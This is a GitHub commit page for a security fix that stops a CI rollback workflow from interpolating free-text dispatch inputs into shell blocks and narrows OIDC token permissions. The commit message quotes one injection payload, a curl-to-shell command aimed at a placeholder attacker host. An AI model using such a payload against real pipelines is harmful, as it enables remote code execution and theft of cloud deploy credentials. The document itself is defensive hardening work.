Skip to content

Commit 5f850f2

Browse files
authored
fix(ci): stop interpolating dispatch inputs into rollback run blocks (#1641)
* fix(ci): stop interpolating dispatch inputs into rollback run blocks `.github/workflows/rollback.yml` substituted the free-text `reason` and `image_tag` workflow_dispatch inputs directly into `run:` blocks. GitHub expands `${{ inputs.* }}` into the shell source before bash parses it, so a reason of `$(curl -s https://attacker/x | sh)` executed as code. The audit-record step was the worst case: an unquoted `cat <<EOF` heredoc, in which command substitution ran inside the JSON body. The workflow also declared `permissions: id-token: write` at workflow level, so `validate`, `verify-image` and `summary` held it despite having no `environment:` binding. Because the AWS deploy role's trust policy accepts `repo:<org/repo>:ref:refs/heads/main` independently of the `environment:*` subjects, injected code in one of those jobs could mint an OIDC token and assume the deploy role without passing the reviewer gate that protects the `rollback-*` jobs. Changes: - Pass every input through `env:` and reference the quoted shell variable, so values are data rather than code. No `${{ }}` remains in any `run:` block in this file. - Build the audit record with `jq -n --arg` instead of a heredoc, so every value is JSON-escaped and no command substitution is possible. - Drop `id-token: write` to job level, granting it only to the four environment-bound `rollback-*` jobs. `validate` and `summary` are now `contents: read`. - Delete the `verify-image` job, which authenticated to a cloud provider with no environment binding, and inline its check into each gated rollback job. - Make `image_tag` validation meaningful: the regex now runs against a shell variable rather than a value already pasted into the script, and a bad tag fails the job instead of setting an `is_valid` output. - Fail loud on unset `AWS_ACCOUNT_ID` / `GCP_PROJECT_ID` rather than building an image URI around an empty string, and add `set -euo pipefail` to the run blocks. - Look Azure tags up with `az acr repository show --image` instead of grepping paginated `show-tags` output through a pipe that `pipefail` could fail on a match. - Fold newlines out of `reason` before writing it to the step summary, so it cannot forge headings or a fake result line in the rendered markdown. Verified with `actionlint` (with shellcheck available): the pre-change file exits 1, the updated file exits 0. Closes #1542 * docs(ci): drop the deleted Verify Image job from the rollback README The workflows README still listed "Verify Image" as one of four rollback jobs. That job no longer exists: it authenticated to a cloud provider while carrying no environment binding, so its check now runs inside each gated rollback job instead. Renumber to three jobs and state the tradeoff, so the next reader does not reinstate a standalone verify job to "fix" the ordering.
1 parent 1635486 commit 5f850f2

2 files changed

Lines changed: 313 additions & 183 deletions

File tree

‎.github/workflows/README.md‎

Lines changed: 9 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -378,9 +378,15 @@ Quickly rollback to a previous deployment version by redeploying a known-good Do
378378
### Jobs
379379

380380
1. **Validate** - Validate image tag and construct image URI
381-
2. **Verify Image** - Confirm image exists in registry
382-
3. **Rollback** - Deploy previous image with Terraform
383-
4. **Summary** - Create audit record
381+
2. **Rollback** - Confirm the image exists in the registry, then deploy it with Terraform
382+
3. **Summary** - Create audit record
383+
384+
Image existence is verified *inside* each rollback job rather than in a
385+
standalone job. A separate verify job would have to assume the same cloud
386+
deploy role while carrying no `environment:` binding, which is exactly the
387+
ungated-but-credentialed shape that made the workflow exploitable. The
388+
tradeoff is that a rollback to a nonexistent tag now fails after the
389+
environment approval rather than before it.
384390

385391
### Triggers
386392

0 commit comments

Comments
 (0)